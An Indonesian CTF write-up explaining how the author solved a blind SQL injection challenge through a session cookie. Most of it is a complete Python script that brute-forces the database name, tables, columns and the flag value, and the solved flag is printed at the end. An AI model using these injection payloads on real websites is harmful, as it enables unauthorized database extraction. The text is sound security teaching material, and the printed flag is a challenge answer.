Diberikan sebuah link yang beralamat di http://103.157.96.13:7787/, setelah dibuka tidak ada yang menarik dari halaman yang diberikan, sesuai deskripsi challengenya, Eat This Flag dan ada kata-kata bisa dimakan kemungkinan informasinya ada didalam Cookie
, setelah di cek Cookie bernilai kosong dan pada source halaman web terdapat keterangan berupa komentar <!-- C -->
setelah di refresh Cookie bernilai Flask-Session-ID:6tvppjrkszesijr8nayu4r49f
e dan komentar pada halaman web menjadi <!-- CTFR -->
Awalnya saya berpikir ini sebuah Header Injection
atau sejenisnya, setelah mencoba-coba ternyata tidak membuahkan hasil, komentar tetap berada antara <!--C-->
atau <!--CTFR-->
, kemudian saya mencoba memasukan payload SQL Injection
pada value Cookie
dan hasilnya adalah <!--C-->
, setelah mencoba beberapa payload dan hasilnya tetap sama saja, jika request baru dan memberikan payload SQLInjection
hasilnya akan <!--C-->
tetapi jika menggunakan Cookie
yang sama tetapi menghilangkan payload SQLInjectionya
hasilnya adalah <!--CTFR-->
, disini saya menyimpulkan jika ini merupakan Blind SQL Injection
dengan kondisi akan bernilai True
dengan Payload
jika Cookie
nya baru, berikut beberapa hasil percobaan saya
Flask-Session-ID:6tvppjrkszesijr8nayu4r49fe' = <!--C-->
Flask-Session-ID:6tvppjrkszesijr8nayu4r49fe = <!--CTFR-->
Flask-Session-ID:6tvppjrkszesijr8nayu4rxxx' AND 1=1# = <!--CTFR-->
Dengan berbekal informasi tersebut, saya mencoba membuat sebuah script
sederhana untuk melakukan Otomasisasi Blind SQL Injection
nya, karena semua payload
akan bernilai true
jika Cookie
nya baru, artinya sebelum mengirimkan payload
harus request Cookie
baru.
def get_cookies():
req = requests.get(url)
res = req.cookies.get_dict()['Flask-Session-ID']
return res
Dan karena ini merupakan Blind SQL Injection
, Exploitasinya sedikit berbeda dengan Error based SQL Injection
, harus mencari informasi satu-persatu, dalam kasus ini saya harus mencari nama database
, nama tabel
, jumlah kolom
dalam tabel
, nama kolom
dalam tabel
baru lah terakhir mencari tau isi dari kolom-kolom yang ada dalam tabel disuatu database
.
def cari_dbname():
# cari panjang db string
panjang_db = 0
dbname = ''
print("[#] Mencari Panjang Database")
for x in range(1,20):
payload = f"' and (select length(database()))={x}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
panjang_db = x
break
print("[#] Ditemukan Panjang DB {}".format(str(panjang_db)))
print("[#] Mencari Nama Database")
for x in range(1,(panjang_db + 1)):
for c in karakter:
ch = ord(c)
payload = f"' and (select ascii(substring(database(), {x}, 1)))={ch}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
dbname+=c
break
print(f"[#] Database : {dbname}")
setetalah mencoba menjalankan script tersebut saya mendapatkan nama databasenya, disini saya menggunakan tebak menebak, pertama cari tau dulu panjang string dari nama database dengan perintah and (select length(database()))={x}#
dimana jika hasilnya <!--CTFR-->
pada posisi x
maka panjang string nama database
adalah x
, misalnya x=7
dan hasilnya adalah <!--CTFR-->
artinya nama database
sepanjang 7
karakter.
Kemudian setelah panjang karakter dari nama database
didapatkan, selanjutnya mencari tau karakter pertama dari panjang string
nama database
, disini saya menggunakan perintah SQL and (select ascii(substring(database(), {x}, 1)))={ch}
dimana {x}
adalah karakter ke
dan {ch}
adalah ordinal dari karakter tersebut, sama halnya dengan mencari pangjang karater sebelumnya, jika hasilnya <!--CTFR-->
artinya karakter pertama dan seterusnya benar.
sebenarnya ini tidak wajib dilakukan, tetapi saya raya ini cukup penting, peserta lain pastinya menggunakan cara yang berbeda dengan saya, karena sebenarnya cara exploitasi Blind SQL injection
ini cukup beragam, selanjutnya dengan cara yang sama, mencari tau informasi lainya, seperti Jumlah Tabel
, Panjang Karakter nama Tabel
dilanjutkan dengan mencari tau String
dari nama tabel
yang ada.
def cari_tblname():
#cari jumlah table
print("[#] Mencari Jumlah Table")
jml_table = 0
for x in range(1,10):
payload = f"' and (select count(*) from information_schema.tables WHERE table_schema=database())={x}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
jml_table=x
break
print(f"[#] Jumlah Table : {jml_table}")
#cari nama tabel
panjang_nm_table = []
for i in range(0, jml_table):
# cek panjang table ke i
print(f"[#] Mencari panjang Table Ke : {i+1}")
for j in range(1,10):
payload = f"' and (select length(table_name) from information_schema.tables where table_schema=database() LIMIT {i},1)={j}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
panjang_nm_table.append(j)
print(f"[#] Panjang Table Ke : {i+1} = {j}")
break
# Cari nama Tabel
final_table = []
for n in range(len(panjang_nm_table)):
print(f"[#] Mencari table ke : {n + 1}")
tbl = ''
for num in range(1, (panjang_nm_table[n] + 1)):
for c in karakter:
ch = ord(c)
payload = f"' and (select ascii(substr(table_name,{num},1)) from information_schema.tables where table_schema=database() limit {n},1) = {ch}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
tbl+=c
break
final_table.append(tbl)
print(f"[#] Table ke : {n + 1} = {tbl}")
return final_table
Sama halnya dengan proses-proses sebelumnya, saya rasa jika teman-teman terbiasa dengan perintah-perintah SQL hal ini tentunya tidak asing, berikut Script
Sederhana saya dalam melakukan Exploitasi pada Challenge ini.
import requests
url = 'http://103.157.96.13:7787/'
karakter = 'CTFRabcdefghijklmnopqrstuvwxyz0123456789_{}?'
"""
request new Cookies
"""
def get_cookies():
req = requests.get(url)
res = req.cookies.get_dict()['Flask-Session-ID']
return res
"""
Cari nama database
"""
def cari_dbname():
# cari panjang db string
panjang_db = 0
dbname = ''
print("[#] Mencari Panjang Database")
for x in range(1,20):
payload = f"' and (select length(database()))={x}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
panjang_db = x
break
print("[#] Ditemukan Panjang DB {}".format(str(panjang_db)))
print("[#] Mencari Nama Database")
for x in range(1,(panjang_db + 1)):
for c in karakter:
ch = ord(c)
payload = f"' and (select ascii(substring(database(), {x}, 1)))={ch}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
dbname+=c
break
print(f"[#] Database : {dbname}")
"""
cari nama tabel
"""
def cari_tblname():
#cari jumlah table
print("[#] Mencari Jumlah Table")
jml_table = 0
for x in range(1,10):
payload = f"' and (select count(*) from information_schema.tables WHERE table_schema=database())={x}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
jml_table=x
break
print(f"[#] Jumlah Table : {jml_table}")
#cari nama tabel
panjang_nm_table = []
for i in range(0, jml_table):
# cek panjang table ke i
print(f"[#] Mencari panjang Table Ke : {i+1}")
for j in range(1,10):
payload = f"' and (select length(table_name) from information_schema.tables where table_schema=database() LIMIT {i},1)={j}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
panjang_nm_table.append(j)
print(f"[#] Panjang Table Ke : {i+1} = {j}")
break
# Cari nama Tabel
final_table = []
for n in range(len(panjang_nm_table)):
print(f"[#] Mencari table ke : {n + 1}")
tbl = ''
for num in range(1, (panjang_nm_table[n] + 1)):
for c in karakter:
ch = ord(c)
payload = f"' and (select ascii(substr(table_name,{num},1)) from information_schema.tables where table_schema=database() limit {n},1) = {ch}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
tbl+=c
break
final_table.append(tbl)
print(f"[#] Table ke : {n + 1} = {tbl}")
return final_table
"""
cari kolom
1.data
2.session
"""
def cari_kolom():
table = ['data','session']
# cari jumlah kolom
for t in table:
print(f"[#] Mencari Jumlah Kolom pada table {t}")
for jml in range(1, 10):
payload=f"' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='{t}')={jml}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
print(f"[#] jumlah kolom table {t} = {jml}")
for k in range(jml):
print(f"[#] Mencari panjang kolom ke {k+1} table {t}")
for p in range(1,10):
payload = f"' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='{t}' limit {k},1)={p}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
print(f"[#] panjang kolom ke {k+1} table {t} = {p}")
print(f"[#] Mencari nama kolom ke : {k + 1}")
final_kolom = []
for z in range(1,(p+1)):
nm_kolom = ''
for c in karakter:
ch = ord(c)
payload = f"' and (select ascii(substr(column_name,{z},1)) from information_schema.columns where table_schema=database() and table_name='{t}' limit {k},1) = {ch}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
nm_kolom+=c
break
final_kolom.append(nm_kolom)
final_kolom = ''.join(final_kolom)
print(f"[#] Kolom table {t} {final_kolom}")
break
break
"""
cari Content Flag
table = data
kolom = text
"""
def cari_flag(t,c):
# cari jumlah record di tabel data
for i in range(1,10):
payload = f"' and (select count(*) from {t})={i}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
print(f"[+] Jumlah data di table {t} : {i}")
for j in range(0,i):
print(f"Mencari panjang data ke {j}")
for k in range(100):
payload = f"' and (select length({c}) from data limit 1)={k}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
print(f"[+] Panjang Data : {k}")
print("[+] Mengambil data")
d = ''
for jk in range(1,(k + 1)):
for cx in karakter:
ch = ord(cx)
payload = f"' and (select ascii(substr({c}, {jk}, 1)) from {t} limit 1)={ch}#"
co = get_cookies()+ f"{payload}"
cookies = {'Flask-Session-ID' : co }
req = requests.get(url, cookies=cookies)
res = req.text
if 'CTFR' in res:
d+=cx
print(f"[!] Flag : {d}")
break
break
break
cari_dbname()
cari_tblname()
cari_kolom()
cari_flag('data','text')
Yah tidak begitu rapi memang, amburadul dan tidak jelas, tatapi hasil akhirnya cukup lah untuk menyelesaiakan challenge ini.
CTFR{n0w_y0u_l34rn1n9_h0w_t0_bl1nd_5ql_1nj3ct10n}